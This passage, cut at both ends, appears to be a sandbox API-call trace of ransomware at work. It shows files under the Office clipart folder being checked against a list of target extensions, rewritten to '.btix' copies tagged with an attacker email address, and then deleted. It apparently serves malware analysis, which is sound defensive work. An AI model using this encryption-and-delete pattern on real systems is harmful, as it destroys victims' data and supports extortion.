(lpString=".ppt") returned 4 [0157.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0157.060] lstrlenW (lpString=".zip") returned 4 [0157.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.060] lstrlenW (lpString=".rar") returned 4 [0157.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.060] lstrlenW (lpString=".bz2") returned 4 [0157.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.060] lstrlenW (lpString=".7z") returned 3 [0157.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0157.061] lstrlenW (lpString=".dbf") returned 4 [0157.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0157.061] lstrlenW (lpString=".1cd") returned 4 [0157.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0157.061] lstrlenW (lpString=".jpg") returned 4 [0157.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.061] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.061] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.062] GetLastError () returned 0x0 [0157.062] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x221c, lpOverlapped=0x0) returned 1 [0157.075] WriteFile (in: hFile=0x37c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x2220, lpOverlapped=0x0) returned 1 [0157.076] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.076] WriteFile (in: hFile=0x37c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.076] SetEndOfFile (hFile=0x37c) returned 1 [0157.076] CloseHandle (hObject=0x37c) returned 1 [0157.076] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.076] SetEndOfFile (hFile=0x358) returned 1 [0157.077] CloseHandle (hObject=0x358) returned 1 [0157.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf")) returned 1 [0157.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0157.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0157.078] lstrlenW (lpString=".doc") returned 4 [0157.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.078] lstrlenW (lpString=".docx") returned 5 [0157.078] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0157.078] lstrlenW (lpString=".pdf") returned 4 [0157.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.078] lstrlenW (lpString=".xls") returned 4 [0157.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.078] lstrlenW (lpString=".xlsx") returned 5 [0157.078] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0157.078] lstrlenW (lpString=".ppt") returned 4 [0157.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0157.078] lstrlenW (lpString=".zip") returned 4 [0157.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.078] lstrlenW (lpString=".rar") returned 4 [0157.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.078] lstrlenW (lpString=".bz2") returned 4 [0157.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.078] lstrlenW (lpString=".7z") returned 3 [0157.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0157.078] lstrlenW (lpString=".dbf") returned 4 [0157.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0157.078] lstrlenW (lpString=".1cd") returned 4 [0157.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0157.078] lstrlenW (lpString=".jpg") returned 4 [0157.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.079] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.079] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.079] GetLastError () returned 0x0 [0157.080] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x2a44, lpOverlapped=0x0) returned 1 [0157.093] WriteFile (in: hFile=0x37c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x2a50, lpOverlapped=0x0) returned 1 [0157.094] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.094] WriteFile (in: hFile=0x37c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.094] SetEndOfFile (hFile=0x37c) returned 1 [0157.094] CloseHandle (hObject=0x37c) returned 1 [0157.094] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.094] SetEndOfFile (hFile=0x358) returned 1 [0157.095] CloseHandle (hObject=0x358) returned 1 [0157.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf")) returned 1 [0157.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0157.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0157.096] lstrlenW (lpString=".doc") returned 4 [0157.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.096] lstrlenW (lpString=".docx") returned 5 [0157.096] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0157.096] lstrlenW (lpString=".pdf") returned 4 [0157.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.096] lstrlenW (lpString=".xls") returned 4 [0157.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.096] lstrlenW (lpString=".xlsx") returned 5 [0157.096] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0157.096] lstrlenW (lpString=".ppt") returned 4 [0157.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0157.096] lstrlenW (lpString=".zip") returned 4 [0157.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.096] lstrlenW (lpString=".rar") returned 4 [0157.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.096] lstrlenW (lpString=".bz2") returned 4 [0157.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.096] lstrlenW (lpString=".7z") returned 3 [0157.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0157.096] lstrlenW (lpString=".dbf") returned 4 [0157.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0157.096] lstrlenW (lpString=".1cd") returned 4 [0157.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0157.096] lstrlenW (lpString=".jpg") returned 4 [0157.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.496] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.496] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0157.497] GetLastError () returned 0x0 [0157.497] ReadFile (in: hFile=0x378, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x15f4, lpOverlapped=0x0) returned 1 [0157.518] WriteFile (in: hFile=0x354, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1600, lpOverlapped=0x0) returned 1 [0157.519] ReadFile (in: hFile=0x378, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.519] WriteFile (in: hFile=0x354, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.520] SetEndOfFile (hFile=0x354) returned 1 [0157.520] CloseHandle (hObject=0x354) returned 1 [0157.520] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.520] SetEndOfFile (hFile=0x378) returned 1 [0157.521] CloseHandle (hObject=0x378) returned 1 [0157.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf")) returned 1 [0157.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0157.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0157.525] lstrlenW (lpString=".doc") returned 4 [0157.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.525] lstrlenW (lpString=".docx") returned 5 [0157.525] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0157.525] lstrlenW (lpString=".pdf") returned 4 [0157.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.525] lstrlenW (lpString=".xls") returned 4 [0157.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.525] lstrlenW (lpString=".xlsx") returned 5 [0157.525] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0157.525] lstrlenW (lpString=".ppt") returned 4 [0157.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0157.525] lstrlenW (lpString=".zip") returned 4 [0157.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.525] lstrlenW (lpString=".rar") returned 4 [0157.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.525] lstrlenW (lpString=".bz2") returned 4 [0157.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.525] lstrlenW (lpString=".7z") returned 3 [0157.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0157.525] lstrlenW (lpString=".dbf") returned 4 [0157.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0157.525] lstrlenW (lpString=".1cd") returned 4 [0157.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0157.526] lstrlenW (lpString=".jpg") returned 4 [0157.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.527] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.528] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0157.559] GetLastError () returned 0x0 [0157.559] ReadFile (in: hFile=0x378, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x3b5c, lpOverlapped=0x0) returned 1 [0157.561] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x3b60, lpOverlapped=0x0) returned 1 [0157.562] ReadFile (in: hFile=0x378, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.562] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.562] SetEndOfFile (hFile=0x39c) returned 1 [0157.568] CloseHandle (hObject=0x39c) returned 1 [0157.568] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.568] SetEndOfFile (hFile=0x378) returned 1 [0157.569] CloseHandle (hObject=0x378) returned 1 [0157.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf")) returned 1 [0157.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0157.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0157.572] lstrlenW (lpString=".doc") returned 4 [0157.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.572] lstrlenW (lpString=".docx") returned 5 [0157.572] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0157.572] lstrlenW (lpString=".pdf") returned 4 [0157.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.572] lstrlenW (lpString=".xls") returned 4 [0157.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.572] lstrlenW (lpString=".xlsx") returned 5 [0157.572] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0157.572] lstrlenW (lpString=".ppt") returned 4 [0157.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0157.572] lstrlenW (lpString=".zip") returned 4 [0157.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.572] lstrlenW (lpString=".rar") returned 4 [0157.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.572] lstrlenW (lpString=".bz2") returned 4 [0157.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.572] lstrlenW (lpString=".7z") returned 3 [0157.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0157.572] lstrlenW (lpString=".dbf") returned 4 [0157.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0157.572] lstrlenW (lpString=".1cd") returned 4 [0157.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0157.572] lstrlenW (lpString=".jpg") returned 4 [0157.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.574] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.574] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0157.575] GetLastError () returned 0x0 [0157.575] ReadFile (in: hFile=0x378, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x72f8, lpOverlapped=0x0) returned 1 [0157.578] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x7300, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x7300, lpOverlapped=0x0) returned 1 [0157.579] ReadFile (in: hFile=0x378, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.579] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.579] SetEndOfFile (hFile=0x39c) returned 1 [0157.593] CloseHandle (hObject=0x39c) returned 1 [0157.594] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.594] SetEndOfFile (hFile=0x378) returned 1 [0157.596] CloseHandle (hObject=0x378) returned 1 [0157.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf")) returned 1 [0157.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0157.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0157.600] lstrlenW (lpString=".doc") returned 4 [0157.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.600] lstrlenW (lpString=".docx") returned 5 [0157.600] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0157.600] lstrlenW (lpString=".pdf") returned 4 [0157.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.600] lstrlenW (lpString=".xls") returned 4 [0157.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.600] lstrlenW (lpString=".xlsx") returned 5 [0157.600] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0157.600] lstrlenW (lpString=".ppt") returned 4 [0157.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0157.600] lstrlenW (lpString=".zip") returned 4 [0157.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.600] lstrlenW (lpString=".rar") returned 4 [0157.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.600] lstrlenW (lpString=".bz2") returned 4 [0157.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.600] lstrlenW (lpString=".7z") returned 3 [0157.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0157.601] lstrlenW (lpString=".dbf") returned 4 [0157.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0157.601] lstrlenW (lpString=".1cd") returned 4 [0157.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0157.601] lstrlenW (lpString=".jpg") returned 4 [0157.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.604] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.604] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0157.607] GetLastError () returned 0x0 [0157.607] ReadFile (in: hFile=0x354, lpBuffer=0x38ef020, 